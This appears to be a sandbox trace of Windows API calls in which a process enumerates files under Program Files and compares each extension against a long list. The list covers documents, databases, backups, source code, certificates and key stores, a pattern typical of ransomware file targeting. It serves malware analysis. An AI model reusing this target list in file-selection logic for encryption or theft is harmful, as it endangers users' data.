lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".m4v") returned 4 [0236.815] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".max") returned 4 [0236.815] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".md") returned 3 [0236.815] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0236.815] lstrlenW (lpString=".mda") returned 4 [0236.815] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".mdb") returned 4 [0236.815] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".mde") returned 4 [0236.815] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".mdf") returned 4 [0236.815] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".mdw") returned 4 [0236.815] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".mef") returned 4 [0236.815] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".mft") returned 4 [0236.815] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0236.815] lstrlenW (lpString=".mfw") returned 4 [0236.815] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0236.816] lstrlenW (lpString=".mht") returned 4 [0236.816] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0236.816] lstrlenW (lpString=".mhtml") returned 6 [0236.816] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0236.816] lstrlenW (lpString=".mka") returned 4 [0236.816] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0236.816] lstrlenW (lpString=".mkidx") returned 6 [0236.816] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0236.816] lstrlenW (lpString=".mkv") returned 4 [0236.816] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0236.816] lstrlenW (lpString=".mos") returned 4 [0236.816] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0236.816] lstrlenW (lpString=".mov") returned 4 [0236.816] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0236.816] lstrlenW (lpString=".mp3") returned 4 [0236.816] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0236.816] lstrlenW (lpString=".mp4") returned 4 [0236.816] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0236.816] lstrlenW (lpString=".mpeg") returned 5 [0236.816] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0236.816] lstrlenW (lpString=".mpg") returned 4 [0236.816] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0236.816] lstrlenW (lpString=".mpv") returned 4 [0236.816] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0236.816] lstrlenW (lpString=".mrw") returned 4 [0236.816] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0236.816] lstrlenW (lpString=".msg") returned 4 [0236.816] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0236.816] lstrlenW (lpString=".mxl") returned 4 [0236.816] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0236.816] lstrlenW (lpString=".myd") returned 4 [0236.816] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0236.816] lstrlenW (lpString=".myi") returned 4 [0236.816] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0236.816] lstrlenW (lpString=".nef") returned 4 [0236.816] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0236.816] lstrlenW (lpString=".nrw") returned 4 [0236.816] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".obj") returned 4 [0236.817] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".odb") returned 4 [0236.817] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".odc") returned 4 [0236.817] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".odm") returned 4 [0236.817] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".odp") returned 4 [0236.817] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".ods") returned 4 [0236.817] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".oft") returned 4 [0236.817] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".one") returned 4 [0236.817] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".onepkg") returned 7 [0236.817] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1 [0236.817] lstrlenW (lpString=".onetoc2") returned 8 [0236.817] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1 [0236.817] lstrlenW (lpString=".opt") returned 4 [0236.817] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".oqy") returned 4 [0236.817] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".orf") returned 4 [0236.817] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".p12") returned 4 [0236.817] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".p7b") returned 4 [0236.817] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".p7c") returned 4 [0236.817] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".pam") returned 4 [0236.817] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".pbm") returned 4 [0236.817] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0236.817] lstrlenW (lpString=".pct") returned 4 [0236.817] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".pcx") returned 4 [0236.818] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".pdd") returned 4 [0236.818] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".pdf") returned 4 [0236.818] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".pdp") returned 4 [0236.818] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".pef") returned 4 [0236.818] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".pem") returned 4 [0236.818] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".pff") returned 4 [0236.818] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".pfm") returned 4 [0236.818] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".pfx") returned 4 [0236.818] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".pgm") returned 4 [0236.818] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".php") returned 4 [0236.818] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".php3") returned 5 [0236.818] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0236.818] lstrlenW (lpString=".php4") returned 5 [0236.818] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0236.818] lstrlenW (lpString=".php5") returned 5 [0236.818] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0236.818] lstrlenW (lpString=".phtml") returned 6 [0236.818] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0236.818] lstrlenW (lpString=".pict") returned 5 [0236.818] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0236.818] lstrlenW (lpString=".pl") returned 3 [0236.818] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0236.818] lstrlenW (lpString=".pls") returned 4 [0236.818] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0236.818] lstrlenW (lpString=".pm") returned 3 [0236.818] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0236.818] lstrlenW (lpString=".png") returned 4 [0236.819] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0236.819] lstrlenW (lpString=".pnm") returned 4 [0236.819] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0236.819] lstrlenW (lpString=".pot") returned 4 [0236.819] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0236.819] lstrlenW (lpString=".potm") returned 5 [0236.819] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0236.819] lstrlenW (lpString=".potx") returned 5 [0236.819] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0236.819] lstrlenW (lpString=".ppa") returned 4 [0236.819] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0236.819] lstrlenW (lpString=".ppam") returned 5 [0236.819] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0236.819] lstrlenW (lpString=".ppm") returned 4 [0236.819] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0236.819] lstrlenW (lpString=".pps") returned 4 [0236.819] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0236.819] lstrlenW (lpString=".ppsm") returned 5 [0236.819] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0236.819] lstrlenW (lpString=".ppt") returned 4 [0236.819] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.819] lstrlenW (lpString=".pptm") returned 5 [0236.819] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0236.819] lstrlenW (lpString=".pptx") returned 5 [0236.819] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0236.819] lstrlenW (lpString=".prn") returned 4 [0236.819] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0236.819] lstrlenW (lpString=".ps") returned 3 [0236.819] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0236.819] lstrlenW (lpString=".psb") returned 4 [0236.819] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0236.819] lstrlenW (lpString=".psd") returned 4 [0236.819] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0236.819] lstrlenW (lpString=".pst") returned 4 [0236.819] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0236.819] lstrlenW (lpString=".ptx") returned 4 [0236.820] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0236.820] lstrlenW (lpString=".pub") returned 4 [0236.820] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0236.820] lstrlenW (lpString=".pwm") returned 4 [0236.820] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0236.820] lstrlenW (lpString=".pxr") returned 4 [0236.820] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0236.820] lstrlenW (lpString=".py") returned 3 [0236.820] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0236.820] lstrlenW (lpString=".qt") returned 3 [0236.820] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0236.820] lstrlenW (lpString=".r3d") returned 4 [0236.820] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0236.820] lstrlenW (lpString=".raf") returned 4 [0236.820] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0236.820] lstrlenW (lpString=".rar") returned 4 [0236.820] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.820] FindClose (in: hFindFile=0x3af1760 | out: hFindFile=0x3af1760) returned 1 [0236.820] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4289f90 | out: hHeap=0x530000) returned 1 [0236.820] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x37df310 | out: lpFindFileData=0x37df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0236.820] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x4289f90 [0236.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af19a0 [0237.164] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.164] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0239.804] lstrlenW (lpString="J0105710.WMF") returned 12 [0239.804] lstrlenW (lpString=".1cd") returned 4 [0239.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.804] lstrlenW (lpString=".3ds") returned 4 [0239.804] lstrcmpiW (lpString1=".3ds", lpString2=".WMF") returned -1 [0239.804] lstrlenW (lpString=".3fr") returned 4 [0239.804] lstrcmpiW (lpString1=".3fr", lpString2=".WMF") returned -1 [0239.804] lstrlenW (lpString=".3g2") returned 4 [0239.804] lstrcmpiW (lpString1=".3g2", lpString2=".WMF") returned -1 [0239.804] lstrlenW (lpString=".3gp") returned 4 [0239.804] lstrcmpiW (lpString1=".3gp", lpString2=".WMF") returned -1 [0239.804] lstrlenW (lpString=".7z") returned 3 [0239.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.804] lstrlenW (lpString=".accda") returned 6 [0239.804] lstrcmpiW (lpString1=".accda", lpString2="10.WMF") returned -1 [0239.804] lstrlenW (lpString=".accdb") returned 6 [0239.804] lstrcmpiW (lpString1=".accdb", lpString2="10.WMF") returned -1 [0239.804] lstrlenW (lpString=".accdc") returned 6 [0239.804] lstrcmpiW (lpString1=".accdc", lpString2="10.WMF") returned -1 [0239.804] lstrlenW (lpString=".accde") returned 6 [0239.804] lstrcmpiW (lpString1=".accde", lpString2="10.WMF") returned -1 [0239.804] lstrlenW (lpString=".accdt") returned 6 [0239.804] lstrcmpiW (lpString1=".accdt", lpString2="10.WMF") returned -1 [0239.804] lstrlenW (lpString=".accdw") returned 6 [0239.804] lstrcmpiW (lpString1=".accdw", lpString2="10.WMF") returned -1 [0239.804] lstrlenW (lpString=".adb") returned 4 [0239.804] lstrcmpiW (lpString1=".adb", lpString2=".WMF") returned -1 [0239.804] lstrlenW (lpString=".adp") returned 4 [0239.804] lstrcmpiW (lpString1=".adp", lpString2=".WMF") returned -1 [0239.805] lstrlenW (lpString=".ai") returned 3 [0239.805] lstrcmpiW (lpString1=".ai", lpString2="WMF") returned -1 [0239.805] lstrlenW (lpString=".ai3") returned 4 [0239.805] lstrcmpiW (lpString1=".ai3", lpString2=".WMF") returned -1 [0239.805] lstrlenW (lpString=".ai4") returned 4 [0239.805] lstrcmpiW (lpString1=".ai4", lpString2=".WMF") returned -1 [0239.805] lstrlenW (lpString=".ai5") returned 4 [0239.805] lstrcmpiW (lpString1=".ai5", lpString2=".WMF") returned -1 [0239.805] lstrlenW (lpString=".ai6") returned 4 [0239.805] lstrcmpiW (lpString1=".ai6", lpString2=".WMF") returned -1 [0239.805] lstrlenW (lpString=".ai7") returned 4 [0239.805] lstrcmpiW (lpString1=".ai7", lpString2=".WMF") returned -1 [0239.805] lstrlenW (lpString=".ai8") returned 4 [0239.805] lstrcmpiW (lpString1=".ai8", lpString2=".WMF") returned -1 [0239.805] lstrlenW (lpString=".anim") returned 5 [0239.805] lstrcmpiW (lpString1=".anim", lpString2="0.WMF") returned -1 [0239.805] lstrlenW (lpString=".arw") returned 4 [0239.805] lstrcmpiW (lpString1=".arw", lpString2=".WMF") returned -1 [0239.805] lstrlenW (lpString=".as") returned 3 [0239.805] lstrcmpiW (lpString1=".as", lpString2="WMF") returned -1 [0239.805] lstrlenW (lpString=".asa") returned 4 [0239.805] lstrcmpiW (lpString1=".asa", lpString2=".WMF") returned -1 [0239.805] lstrlenW (lpString=".asc") returned 4 [0239.805] lstrcmpiW (lpString1=".asc", lpString2=".WMF") returned -1 [0239.805] lstrlenW (lpString=".ascx") returned 5 [0239.805] lstrcmpiW (lpString1=".ascx", lpString2="0.WMF") returned -1 [0239.805] lstrlenW (lpString=".asm") returned 4 [0239.805] lstrcmpiW (lpString1=".asm", lpString2=".WMF") returned -1 [0239.805] lstrlenW (lpString=".asmx") returned 5 [0239.805] lstrcmpiW (lpString1=".asmx", lpString2="0.WMF") returned -1 [0239.805] lstrlenW (lpString=".asp") returned 4 [0239.806] lstrcmpiW (lpString1=".asp", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".aspx") returned 5 [0239.806] lstrcmpiW (lpString1=".aspx", lpString2="0.WMF") returned -1 [0239.806] lstrlenW (lpString=".asr") returned 4 [0239.806] lstrcmpiW (lpString1=".asr", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".asx") returned 4 [0239.806] lstrcmpiW (lpString1=".asx", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".avi") returned 4 [0239.806] lstrcmpiW (lpString1=".avi", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".avs") returned 4 [0239.806] lstrcmpiW (lpString1=".avs", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".backup") returned 7 [0239.806] lstrcmpiW (lpString1=".backup", lpString2="710.WMF") returned -1 [0239.806] lstrlenW (lpString=".bak") returned 4 [0239.806] lstrcmpiW (lpString1=".bak", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".bay") returned 4 [0239.806] lstrcmpiW (lpString1=".bay", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".bd") returned 3 [0239.806] lstrcmpiW (lpString1=".bd", lpString2="WMF") returned -1 [0239.806] lstrlenW (lpString=".bin") returned 4 [0239.806] lstrcmpiW (lpString1=".bin", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".bmp") returned 4 [0239.806] lstrcmpiW (lpString1=".bmp", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".bz2") returned 4 [0239.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".c") returned 2 [0239.806] lstrcmpiW (lpString1=".c", lpString2="MF") returned -1 [0239.806] lstrlenW (lpString=".cdr") returned 4 [0239.806] lstrcmpiW (lpString1=".cdr", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".cer") returned 4 [0239.806] lstrcmpiW (lpString1=".cer", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".cf") returned 3 [0239.806] lstrcmpiW (lpString1=".cf", lpString2="WMF") returned -1 [0239.806] lstrlenW (lpString=".cfc") returned 4 [0239.806] lstrcmpiW (lpString1=".cfc", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".cfm") returned 4 [0239.806] lstrcmpiW (lpString1=".cfm", lpString2=".WMF") returned -1 [0239.806] lstrlenW (lpString=".cfml") returned 5 [0239.806] lstrcmpiW (lpString1=".cfml", lpString2="0.WMF") returned -1 [0239.807] lstrlenW (lpString=".cfu") returned 4 [0239.807] lstrcmpiW (lpString1=".cfu", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".chm") returned 4 [0239.807] lstrcmpiW (lpString1=".chm", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".cin") returned 4 [0239.807] lstrcmpiW (lpString1=".cin", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".class") returned 6 [0239.807] lstrcmpiW (lpString1=".class", lpString2="10.WMF") returned -1 [0239.807] lstrlenW (lpString=".clx") returned 4 [0239.807] lstrcmpiW (lpString1=".clx", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".config") returned 7 [0239.807] lstrcmpiW (lpString1=".config", lpString2="710.WMF") returned -1 [0239.807] lstrlenW (lpString=".cpp") returned 4 [0239.807] lstrcmpiW (lpString1=".cpp", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".cr2") returned 4 [0239.807] lstrcmpiW (lpString1=".cr2", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".crt") returned 4 [0239.807] lstrcmpiW (lpString1=".crt", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".crw") returned 4 [0239.807] lstrcmpiW (lpString1=".crw", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".cs") returned 3 [0239.807] lstrcmpiW (lpString1=".cs", lpString2="WMF") returned -1 [0239.807] lstrlenW (lpString=".css") returned 4 [0239.807] lstrcmpiW (lpString1=".css", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".csv") returned 4 [0239.807] lstrcmpiW (lpString1=".csv", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".cub") returned 4 [0239.807] lstrcmpiW (lpString1=".cub", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".dae") returned 4 [0239.807] lstrcmpiW (lpString1=".dae", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".dat") returned 4 [0239.807] lstrcmpiW (lpString1=".dat", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".db") returned 3 [0239.807] lstrcmpiW (lpString1=".db", lpString2="WMF") returned -1 [0239.807] lstrlenW (lpString=".dbf") returned 4 [0239.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.807] lstrlenW (lpString=".dbx") returned 4 [0239.807] lstrcmpiW (lpString1=".dbx", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".dc3") returned 4 [0239.808] lstrcmpiW (lpString1=".dc3", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".dcm") returned 4 [0239.808] lstrcmpiW (lpString1=".dcm", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".dcr") returned 4 [0239.808] lstrcmpiW (lpString1=".dcr", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".der") returned 4 [0239.808] lstrcmpiW (lpString1=".der", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".dib") returned 4 [0239.808] lstrcmpiW (lpString1=".dib", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".dic") returned 4 [0239.808] lstrcmpiW (lpString1=".dic", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".dif") returned 4 [0239.808] lstrcmpiW (lpString1=".dif", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".divx") returned 5 [0239.808] lstrcmpiW (lpString1=".divx", lpString2="0.WMF") returned -1 [0239.808] lstrlenW (lpString=".djvu") returned 5 [0239.808] lstrcmpiW (lpString1=".djvu", lpString2="0.WMF") returned -1 [0239.808] lstrlenW (lpString=".dng") returned 4 [0239.808] lstrcmpiW (lpString1=".dng", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".doc") returned 4 [0239.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".docm") returned 5 [0239.808] lstrcmpiW (lpString1=".docm", lpString2="0.WMF") returned -1 [0239.808] lstrlenW (lpString=".docx") returned 5 [0239.808] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0239.808] lstrlenW (lpString=".dot") returned 4 [0239.808] lstrcmpiW (lpString1=".dot", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".dotm") returned 5 [0239.808] lstrcmpiW (lpString1=".dotm", lpString2="0.WMF") returned -1 [0239.808] lstrlenW (lpString=".dotx") returned 5 [0239.808] lstrcmpiW (lpString1=".dotx", lpString2="0.WMF") returned -1 [0239.808] lstrlenW (lpString=".dpx") returned 4 [0239.808] lstrcmpiW (lpString1=".dpx", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".dqy") returned 4 [0239.808] lstrcmpiW (lpString1=".dqy", lpString2=".WMF") returned -1 [0239.808] lstrlenW (lpString=".dsn") returned 4 [0239.808] lstrcmpiW (lpString1=".dsn", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".dt") returned 3 [0239.809] lstrcmpiW (lpString1=".dt", lpString2="WMF") returned -1 [0239.809] lstrlenW (lpString=".dtd") returned 4 [0239.809] lstrcmpiW (lpString1=".dtd", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".dwg") returned 4 [0239.809] lstrcmpiW (lpString1=".dwg", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".dwt") returned 4 [0239.809] lstrcmpiW (lpString1=".dwt", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".dx") returned 3 [0239.809] lstrcmpiW (lpString1=".dx", lpString2="WMF") returned -1 [0239.809] lstrlenW (lpString=".dxf") returned 4 [0239.809] lstrcmpiW (lpString1=".dxf", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".edml") returned 5 [0239.809] lstrcmpiW (lpString1=".edml", lpString2="0.WMF") returned -1 [0239.809] lstrlenW (lpString=".efd") returned 4 [0239.809] lstrcmpiW (lpString1=".efd", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".elf") returned 4 [0239.809] lstrcmpiW (lpString1=".elf", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".emf") returned 4 [0239.809] lstrcmpiW (lpString1=".emf", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".emz") returned 4 [0239.809] lstrcmpiW (lpString1=".emz", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".epf") returned 4 [0239.809] lstrcmpiW (lpString1=".epf", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".eps") returned 4 [0239.809] lstrcmpiW (lpString1=".eps", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".epsf") returned 5 [0239.809] lstrcmpiW (lpString1=".epsf", lpString2="0.WMF") returned -1 [0239.809] lstrlenW (lpString=".epsp") returned 5 [0239.809] lstrcmpiW (lpString1=".epsp", lpString2="0.WMF") returned -1 [0239.809] lstrlenW (lpString=".erf") returned 4 [0239.809] lstrcmpiW (lpString1=".erf", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".exr") returned 4 [0239.809] lstrcmpiW (lpString1=".exr", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".f4v") returned 4 [0239.809] lstrcmpiW (lpString1=".f4v", lpString2=".WMF") returned -1 [0239.809] lstrlenW (lpString=".fido") returned 5 [0239.809] lstrcmpiW (lpString1=".fido", lpString2="0.WMF") returned -1 [0239.810] lstrlenW (lpString=".flm") returned 4 [0239.810] lstrcmpiW (lpString1=".flm", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".flv") returned 4 [0239.810] lstrcmpiW (lpString1=".flv", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".frm") returned 4 [0239.810] lstrcmpiW (lpString1=".frm", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".fxg") returned 4 [0239.810] lstrcmpiW (lpString1=".fxg", lpString2=".WMF") returned -1 [0239.810] lstrlenW (lpString=".geo") returned 4 [0239.810] lstrcmpiW (lpString1=".geo", lpString2=".WMF") returned -1 